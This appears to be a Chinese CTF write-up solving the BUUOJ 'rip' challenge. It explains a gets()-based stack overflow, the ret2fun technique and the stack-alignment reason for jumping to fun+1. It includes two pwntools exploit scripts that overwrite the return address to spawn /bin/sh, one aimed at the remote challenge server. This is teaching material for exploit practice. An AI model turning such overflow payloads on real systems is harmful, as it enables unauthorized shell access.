题目信息

解题步骤

程序是amd64小端程序,GOT表在运行时仍然可写,存在GOT覆盖风险,没有栈保护,栈可执行程序基地址固定

使用ida进行分析:

上述代码中,我们注意:

1
2
char s[15]; // [rsp+1h] [rbp-Fh]
gets(s, argv);
  • s 数组大小为 15 字节,位于栈上。
  • 使用了 危险函数 gets():它会无限读取输入直到换行,完全不检查缓冲区边界。

gets(s) 会把你输入的所有字节写到栈上:先写入 s(15字节),接着覆盖 saved rbp(8字节),再覆盖 return address(8字节),后面跟着你继续写的字节都会保存在 return address 之后的栈上(函数返回时 ret 从栈上弹出的就是我们写入的返回地址)。

  • s 距离 rbp0xF = 15 字节,而 rbp 上方 8 字节是 返回地址(return address)
  • 因此,输入超过 15 + 8 = 23 字节 即可覆盖返回地址。

程序还有一个fun函数,调用了system函数,地址为0x401186

程序的system函数,地址为0x404058

这道题基本是典型的ret2fun,我们可以覆盖返回地址,让程序执行 fun() 函数(地址 0x401186

  1. 输入 23 字节填充(覆盖到返回地址)
  2. 写入 fun 函数地址(小端序)p64(0x401186)
  3. 发送 payload,触发溢出,ret 跳转到 fun,执行 /bin/sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

# context.log_level = 'debug'
p = process('./rip')
elf = ELF('./rip')

# fun 函数地址
fun_addr = 0x401186 +1

# 构造 payload
payload = b'A' * 23 # 填充到返回地址
payload += p64(fun_addr) # 覆盖返回地址为 fun 函数地址

# 发送输入
p.sendline(payload)

# 切换到交互模式
p.interactive()

那么大家发现了一个问题吗?为什么我在fun地址后+1了?fun_addr = 0x401186 +1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
; Attributes: bp-based frame

; int fun()
public fun
fun proc near
; __unwind {
push rbp
mov rbp, rsp
lea rdi, command ; "/bin/sh"
call _system
nop
pop rbp
retn
; } // starts at 401186
fun endp
1
2
3
4
5
6
7
0x401186: push rbp
0x401187: mov rbp, rsp
0x40118a: lea rdi, [command] ; "/bin/sh"
0x401191: call _system
0x401196: nop
0x401197: pop rbp
0x401198: retn
  • 0x401186 的第一条指令是 push rbp(opcode 0x55)。fun + 10x401187 刚好是下一条指令 mov rbp, rsp 的起始字节(opcode 0x48)。
  • 如果把返回地址覆盖成 0x401186(push rbp),当 CPU 执行到这里时会先执行 push rbp,也就是把当前 rbp 再次压入栈,rsp 会减 8。这会改变栈指针(和栈对齐),可能导致之后 call _system 时栈不满足 ABI 对 call 前对齐 的要求,从而在某些环境下造成 crash(尤其当 system 或 libc 内部对栈对齐敏感时)。
  • 如果你把返回地址改成 0x401187(mov rbp, rsp),你跳过了 push rbp,不会额外改变 rsp,因此更有可能维持或更接近你在 exploit 时期望的栈对齐状态,从而 更稳定地成功调用 system("/bin/sh")

  • 有两点常被误解:

    1. “地址必须 16 字节对齐” —— 这是对函数调用的 ABI 要求(call 之前),但 CPU 本身并不强制指令地址按 16 字节对齐;x86 指令是可变长且可以从任何有效指令边界开始执行。

    2. “跳到奇数地址会异常” —— 只要你落在一个有效的指令起始字节(而不是指令中间导致非法解码),即可正常执行。0x401187 在这里是 mov rbp, rsp 的起始字节,是合法的入口点,所以可行。

    fun + 1 是一个常见且合理的技巧:它跳过 push rbp,避免多做一次 rsp -= 8,从而更容易满足 call _system 执行前的栈对齐要求,结果更稳定。

    在Ubuntu 18.04及以上版本中,即使关闭栈对齐,调用 system(“/bin/sh”) 时仍需确保栈地址16字节对齐,否则会触发段错误。此时需在payload中手动调整栈对齐(如跳过 push %rbp 指令)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

# context.log_level = 'debug'
# p = process('./rip')
p = remote("node5.buuoj.cn", 29689)
elf = ELF('./rip')

# fun 函数地址
fun_addr = 0x401186 +1

# 构造 payload
payload = b'A' * 23 # 填充到返回地址
payload += p64(fun_addr) # 覆盖返回地址为 fun 函数地址

# 发送输入
p.sendline(payload)

# 切换到交互模式
p.interactive()